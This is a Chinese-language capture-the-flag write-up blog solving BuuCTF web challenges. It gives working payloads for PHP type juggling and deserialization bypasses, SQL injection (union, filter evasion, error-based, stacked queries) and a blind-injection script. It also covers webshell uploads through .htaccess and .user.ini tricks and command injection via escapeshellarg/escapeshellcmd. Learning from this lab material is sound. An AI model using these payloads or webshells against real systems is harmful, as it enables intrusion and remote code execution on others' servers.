BuuCTF-WP(持续更新ing~)

前言:2023年的暑假,决定要成为CTF的Web高手,于是尝试猛刷BuuCTF上的题目,目标是AK掉BuuCTF上的Web题。由于BuuCTF上的题目较多(目前的Web有大概348道),所以只挑部分题目写wp(狠狠地偷懒。

[MRCTF 2020] Ez_bypass 1

打开靶机可以直接看到源码。可知要分别通过get方式获取id和gg的值并比较它们的md5值是否相等,然后再通过post方式得到非数字的passwd值并与’1234567’比较判断是否相等。首先由于php是弱类型比较,所以id和gg的问题可以通过md5碰撞来完成,不过也可以利用php的比较不能处理数组的特性来直接绕过 即:

?id[]=111&gg[]=222

可以看到第一步已经完成了,接下来是解决passwd的问题。既要满足passwd=1234567,又要让passwd不是数字,那就在1234567后面补一个字符就好了。即:passwd=1234567a

由于php是弱类型比较,所以此时passwd==1234567成立

拿到flag

[网鼎杯 2020] 青龙组 AreUSerialz 1

打开图片就可以看出是一道反序列化题目。去掉不需要看的_construct和write函数,只看其余的函数以及主函数可以知道当op=2时会调用read函数来读取file_name文件的内容,那么让file_name=’flag.php’即可。所以构造出poc:

<?php

include("flag.php");

class FileHandler {

    public $op;
    public $filename;
    public $content;

}
$a=new FileHandler;
$a->op=2;
$a->filename='flag.php';
$a->content='';
$b=serialize($a);
echo $b;
?>

运行后得到需要的payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";} 

由主函数可以知道变量str是可控的,所以最终payload拼接好后是:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";} 

查看源码得到flag

[极客大挑战 2019] PHP

打开靶机就提示了要找网站的备份文件,直接用dirsearch扫一下

发现敏感文件www.zip

下载并解压后得到几个文件,其中flag.php直接打开看不到什么东西

从index.php中可以看到上面这串代码,表示通过GET方式得到select的值并将其反序列化。说明可以通过传入序列化后的代码作为select的值,让程序将select反序列化后将会执行我们传入的代码,从而实现任意代码执行(反序列化漏洞)

接着看class.php,由代码可知需要利用construct函数分别给变量usernamepassword赋值为admin100,同时要防止调用wakeup函数导致username被重新赋值成guest。于是构造出poc:

<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

    $a=new Name();
    echo serialize($a);
?>

运行程序得到序列化后的结果:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

由于需要绕过wakeup函数,所以利用wakeup函数的一个漏洞:当序列化后的字符中标明属性数量的值实际属性数量不一致时会导致不触发wakeup函数,所以此处将”Name”后面的2改为其它值(此处改为3)即可绕过wakeup函数。同时由于序列化后会把原本用于表示变量的private属性的%00字符屏蔽掉,所以要在序列化结果中的变量前补上,于是原先的序列化结果改为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

已知可控变量是select,所以最终的exp是:

?select= O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} 

[极客大挑战 2019] BuyFlag

打开靶机后通过MENU菜单访问到pay.php界面,可以看到想要得到flag首先需要自己的身份是CUIT的学生,然后需要正确的密码,同时需要100000000MONEY来购买flag。一步步来

查看页面源码可以看到一段注释内容,提示通过POST方式得到password的值,且要让password非数字同时等于404,由于php是弱比较类型,所以让password为404a即可满足以上两个要求

使用Burpsuit工具抓包可以看到请求包中的cookie值为user=0。可以想到令user=1即可表示自己身份为CUIT的student。最后不要忘了给MONEY赋值为100000000

Burpsuit抓包后改包为以上值后发送请求包

页面变化,提示身份、密码都对了,但MONEY值太长了。于是将100000000改用科学计数法表示为1e9

重新发送请求包,成功buy到flag

[极客大挑战 2019] –SQL注入系列

[EasySQL]

打开靶机看见登录界面,直接尝试用order by [数字]#来查看能注入的列。数字为1-3的时候说用户名和密码错误,数字为4时页面报错,说明列数为3。(ps. ‘#’字符要用对应的url编码%23来表示,不然会报错。一些常见url编码:‘’——%27;空格——%20;‘ # ’——%23

?username=1&password=1%27order%20by%203%23
?username=1&password=1%27order%20by%204%23

知道为三列后,用union联合查询语句来查看列内容(union select 1,2,3#)即可得到flag

?username=1&password=1%27union%20select%201,2,3%23

[LoveSQL]

这道题一开始解题步骤和上面一样,不过使用union select 1,2,3#时出现不同结果

从图片可知2、3列存在注入点。于是继续用联合查询语句进行注入,先从第2列开始查询

?username=1&password=1'union select 1,group_concat(schename_name),3 from information_schema.schemata %23

发现存在字符重叠,于是换第3列进行查询

?username=1&password=1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23

查到几个数据库名,逐一查询可知flag是在geek数据库中,此处便只以geek的查询作实例。现在尝试查询geek数据库中的表名

?union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23

提示了password是其中的内容,逐一尝试可知是在l0ve1sq1中(由题目名字也可以猜到),使用尝试从中查询password

?union select 1,2,group_concat(password) from geek.l0ve1sq1 %23

找到flag

[BabySQL]

进入题目可以看见提示有过滤,经过测试可以发现存在对or、by、union、select、from、where字符的过滤,于是用双写来绕过(例:or写成oorr;union写成ununionion)

?oorrder bbyy 4%23
//查询列数
?ununionion seselectlect 1,2,3%23
//查询可注入的列
?ununionion seselectlect 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata%23
//查询库名
得到库名,其中,逐一尝试可知geek是我们要查的库
?ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_name=geek%23
//查询表名
得到表名

由题目BabySQL可以猜到要查b4bsql表

?ununionion seselectlect 1,2,group_concat(column_name) from information_schema.columns whewherere table_name='b4bsql'%23
//查询b4bsql表中的列

得到列名后,查询其中的password列得到flag

?ununionion seselectlect 1,2,group_concat(passwoorrd) frofromm geek.b4bsql%23

[HardSQL]

尝试找注入点,发现union联合查询被ban了,于是尝试用updatexml语句来进行注入

?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
//查询库名
得到库名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
//查询表名
得到表名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23
//查询列名
得到列名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23
//查询password列的内容

发现字符串过长,部分没显示,于是用right函数进行从右向左查询,得到剩余字符

?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))%23
//从右向左查询20个字符

得到剩余的字符后,将两个结果拼接起来即为完整的flag

[GYCTF 2019] Blacklist

用order by 2;#和order by 3;#后判断列数为2,于是尝试用联合注入查询,但发现大部分查询语句被ban了。

尝试用堆叠注入 1′;show tables;# //查询数据库名

大部分查询语句被ban了,于是用handler语句进行查询

1';handler FlagHere open;handler FlagHere read first;#

[CISCN2019] Hack World

尝试多种注入方法,都被ban了,输入1’发现回显bool(),推测是bool盲注,于是写脚本:

import requests

#地址
url = "http://c4a12af1-1130-4825-a153-a480c9bea112.node4.buuoj.cn:81/index.php"

result = ""
num = 0
for i in range(1,60):
    if num == 1:
        break

    for j in range(32,128):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
        print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~")

        data = {
            "id": payload,
        }
        
        r = requests.post(url, data=data)

        r.encoding = r.apparent_encoding

        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break

        if "}" in result:
            print(result)
            num = 1
            break

传马系列

[极客大挑战 2019] Knife

题目提示了一段源码“eval($_POST[“Syc”]);”,这是个很典型的一句话木马。eval表示执行括号里的内容(类似的还有exec以及用于执行系统命令的system),而$_POST[“Syc”]表示通过POST的方式得到变量Syc的值(也可以是$_GET,即通过get方式得到变量的值),所以这句代码的意思是:执行(eval)变量Syc的值,其中Syc的值通过POST方式得到。

所以只要通过POST方式把想要执行的命令作为Syc的值传入,即可实现任意命令执行。

有两个思路:1.直接用brupsuit或hackbar抓包后改为POST请求包并在包中加入Syc=[要执行的命令](比如ls、ls /、cat flag.php、cat /flag.php)2.用中国菜刀或者蚁剑等木马工具连接变量Syc,如图:

连接成功后可以通过蚁剑来直接访问靶机的文件、服务器内部,也可以通过蚁剑进入终端寻找flag

[ACTF2020 新生赛] Upload

从这道题开始了解传马题的基本解题思路。传马题的一个明显特征是文件上传功能,当页面有明显的“文件上传”或题目标题带upload、上传等字眼时,往往意味着需要通过上传木马文件来获取shell(可以先把shell理解成上一道题提到的可控变量Syc),通过shell,我们可以执行任意命令,所以拿到shell往往意味着我们掌控了服务器(当然,拿到的shell有可能没有较高的权限——我们的目标是拿到ROOT或是与ROOT有同等权限的shell——这就需要学习提升权限(提权)的方法了)。

所以对于传马题,我们的思路就是想办法绕过可能存在的过滤来传入带有可控变量的木马文件并让它能够被解析、执行。

最基础的php一句话木马:

<?php
@eval($_POST["shell"]);//POST也可以为GET
?>

保存为.php后缀文件后,即是一个最基础的php木马了。接下来开始看题目。

直接尝试上传木马文件attack.php发现有提示只能上传后缀为jpg、png、gif的文件,说明这个上传系统有对上传的文件的后缀进行检测并只允许处于白名单中的文件通过(jpg、png、gif)。但要注意,这个提示是以弹窗出现的,很可能意味着这只是个前端的检测、过滤,所以通过把文件后缀改为.jpg即可通过检测。但是.jpg、.png等后缀文件无法被作为php文件执行(意味着我们写的一句话木马起不了作用)。

我们可以把木马文件后缀改为.jpg,然后在确认上传时通过brupsuit来抓包(在抓到包之前,浏览器前端已经对文件后缀做了检测,后缀为.jpg,允许上传),并将包中的attack.jpg改为attack.php或attack.phtml(.phtml、.php3、.php5等后缀文件也可通过蚁剑连接),即可让attack.php被成功上传进服务器。

可以看到提示Upload Success!并且显示出了文件上传到的地址,接下来便用蚁剑来连接该文件即可。(url地址填木马所在地址,连接密码即为文件里写好的可控变量)

[MRCTF 2020] 你传你?呢

遇到上传,直接尝试传马

有检测,而且很可能是后端的,意味着不能像上一道题那样通过brupsuit改包来绕过。

尝试上传.jpg文件,允许上传。

随便访问一个不存在的url,得到回显,得知服务器用的是Apache/2.4.10。在低于2.3.8版本的Apache配置文件中有个AllowOverride指令默认为All,即允许.htaccess文件中的一些指令可以覆盖主配置文件中的一些设置。(.htaccess文件是Apache分布式配置文件的默认名称)但在更高的版本里,AllowOverride默认为None,.htaccess文件会失效。这道题的靶机配置里,AllowOverride为All。

经过尝试可知.htaccess文件可以被成功上传(这道题是以黑名单来过滤,即php、php3、php5、phtml等后缀不被允许,而其它的后缀不受影响)所以我们的思路是:通过上传.htaccess文件,来让其它后缀文件也可以被作为php文件解析、执行。下面是一个.htaccess文件的实例:

<FilesMatch "jpg"> //匹配到jpg后缀时(jpg也可以换成其它后缀:.png/.gif
SetHandler application/x-httpd-php //调用x-httpd-php来解析该文件
</FilesMatch>

上传时注意服务器会对请求包中的Content-Type(文件类型)做检测过滤,.htaccess默认的Content-Type类型为application/octet-stream,不被允许,所以要改为image/jpeg(jpg的文件类型)。

可见.htaccess已被成功上传,接下来上传一个.jpg后缀的木马文件

此时由于.htaccess的配置覆盖,不管是直接访问该文件还是通过蚁剑连接该文件,它都会被作为php文件解析。所以蚁剑连接的url地址即为[域名]/upload/020…d99/attack.jpg,连上后即可在服务器找到flag

[SUCTF 2019] Check In

多次尝试可以知道服务器会对文件名、文件内容都做检测。其中,文件内容被匹配发现为脚本文件时就不被允许上传。这里可以在文件前加上GIF89a文件头来让服务器认为这是个gif文件。同时由于<?php会被检测,所以普通的一句话php木马不能上传,于是换用javascript的写法

GIF89a
<script language='php'>@eval($_POST['shell']);</script>

文件上传成功,接下来就是想办法让它被作为脚本文件解析

此时用到的知识点是.user.ini文件。创建一个名为.user.ini的文件并添加一个auto_prepend_file配置(作用为指定一个文件在主文件被解析前先被解析)或者auto_append_file配置(作用为指定一个文件在主文件被解析后被解析)。通过这个配置,可以使用户访问index.php(网站默认主页)后把指定文件一起作为脚本文件进行解析。所以构造一个.user.ini文件:

GIF89a
auto_prepend_file=shell.jpg

上传后,用蚁剑直接连index.php即可连上服务器

[BUUCTF 2018]Online Tool 1

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这段代码实现用户输入ip地址,执行nmap命令

escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 ” 仅在不配对儿的时候被转义。

两个函数按arg、cmd的顺序放在一起会出现绕过漏洞,通过添加单引号实现绕过

payload:?host=' <?php @eval($_POST["shell"]);?>  -oG shell.php '

连接一句话木马时根据提示添加沙箱路径即可,例如.cn:81/89dusd78219esa/shell.php

欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next